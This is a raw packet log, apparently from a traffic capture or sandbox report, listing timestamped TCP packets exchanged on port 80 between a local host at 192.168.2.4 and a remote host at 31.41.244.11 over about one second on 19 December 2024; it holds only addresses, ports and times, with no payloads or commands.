Dec 19, 2024 06:09:11.525240898 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525242090 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525262117 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525275946 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525304079 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525310993 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.525330067 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.525352955 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.644917965 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.645024061 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.645092010 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.645133018 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.649030924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.649096966 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.649137020 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.649203062 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.717210054 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.717295885 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.717324018 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.717389107 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.721447945 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.721540928 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.721586943 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.721649885 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.729912996 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.729975939 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.730056047 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.730112076 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.738250971 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.738312960 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.738395929 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.738454103 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.746592999 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.746670008 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.746732950 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.746783018 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.755009890 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.755079031 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.755111933 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.755163908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.763375044 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.763456106 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.763510942 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.763567924 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.771789074 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.771857023 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.771893978 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.771939039 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.780190945 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.780277014 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.780302048 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.780350924 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.788543940 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.788611889 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.788669109 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.788718939 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.795833111 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.795897007 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.795969009 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.796027899 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.803025007 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.803116083 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.803148031 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.803201914 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.909265995 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.909400940 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.909468889 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.909579039 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.911519051 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.911590099 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.911653042 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.911706924 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.915999889 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.916060925 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.916114092 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.916172028 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.920530081 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.920664072 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.920675993 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.920758009 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.925112963 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.925177097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.925194025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.925247908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.929542065 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.929603100 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.929687977 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.929744005 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.934082031 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.934137106 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.934139967 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.934196949 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.938524961 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.938582897 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.938652992 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.938708067 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.943017960 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.943085909 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.943147898 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.943208933 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.947556973 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.947619915 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.947659016 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.947714090 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.952028036 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.952090025 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.952168941 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.952224970 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.956585884 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.956644058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.956717014 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.956777096 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.961031914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.961100101 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.961177111 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.961232901 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.965507984 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.965564013 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.965627909 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.965691090 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.970038891 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.970092058 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.970101118 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.970149040 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.974493980 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.974558115 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.974608898 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.974668026 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.979005098 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.979079008 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.979118109 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.979176044 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.983467102 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.983529091 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.983575106 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.983644009 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.987948895 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.988010883 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:11.988040924 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:11.988095999 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.101494074 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.101576090 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.101702929 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.101762056 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.103305101 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.103372097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.103425026 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.103480101 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.106991053 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.107062101 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.107115030 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.107171059 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.110589981 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.110646009 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.110730886 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.110781908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.114083052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.114144087 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.114223957 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.114286900 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.117592096 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.117656946 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.117741108 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.117803097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.120996952 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.121069908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.121139050 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.121198893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.124392986 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.124456882 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.124517918 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.124574900 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.127933025 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.128005028 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.128021955 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.128082037 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.131203890 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.131278038 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.131362915 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.131426096 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.134629011 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.134701967 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.134742022 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.134800911 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.137995958 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.138046980 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.138144016 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.138190985 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.141453981 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.141524076 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.141561985 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.141619921 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.144815922 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.144882917 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.144965887 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.145028114 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.148247004 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.148303032 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.148384094 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.148437023 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.151624918 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.151690960 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.151753902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.151813984 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.155009985 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.155066967 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.155148983 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.155204058 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.158456087 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.158557892 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.158561945 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.158603907 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.161865950 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.162014008 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.162046909 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.162096024 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.165251017 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.165309906 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.165405989 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.165462017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.168661118 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.168716908 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.168787003 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.168840885 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.172070980 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.172133923 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.172216892 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.172270060 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.175520897 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.175591946 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.175648928 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.175723076 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.178905964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.179017067 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.179064035 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.179125071 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.182303905 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.182368994 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.182456970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.182622910 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.185718060 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.185782909 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.185847998 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.185905933 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.189117908 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.189177036 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.189277887 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.189333916 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.192514896 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.192574024 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.192641973 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.192694902 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.195904970 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.195960999 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.196029902 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.196084976 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.199330091 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.199423075 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.199451923 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.199501991 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.202730894 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.202784061 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.202852964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.202907085 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.206150055 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.206207037 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.206290007 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.206346035 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.209602118 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.209708929 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.209709883 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.209752083 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.212938070 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.213021040 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.213095903 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.213155985 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.216404915 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.216473103 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.216610909 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.216671944 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.219775915 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.219873905 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.219888926 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.219944000 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.293555021 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.293670893 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.293672085 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.293725014 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.294430971 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.294493914 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.294667006 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.294725895 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.297348976 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.297410965 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.297457933 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.297514915 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.300247908 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.300311089 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.300380945 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.300543070 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.303217888 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.303283930 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.303308964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.303374052 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.306135893 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.306200981 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.306282043 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.306338072 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.308806896 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.308870077 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.308953047 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.309010029 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.311541080 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.311602116 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.311666965 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.311723948 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.314193010 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.314260960 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.314281940 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.314340115 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.316817999 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.316893101 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.316931963 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.317048073 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.319423914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.319478989 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.319529057 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.319582939 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.321985006 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.322043896 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.322118044 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.322174072 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.324512959 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.324582100 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.324695110 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.324748039 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.326958895 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.327023983 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:12.327068090 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:12.327121019 CET	49763	80	192.168.2.4	31.41.244.11
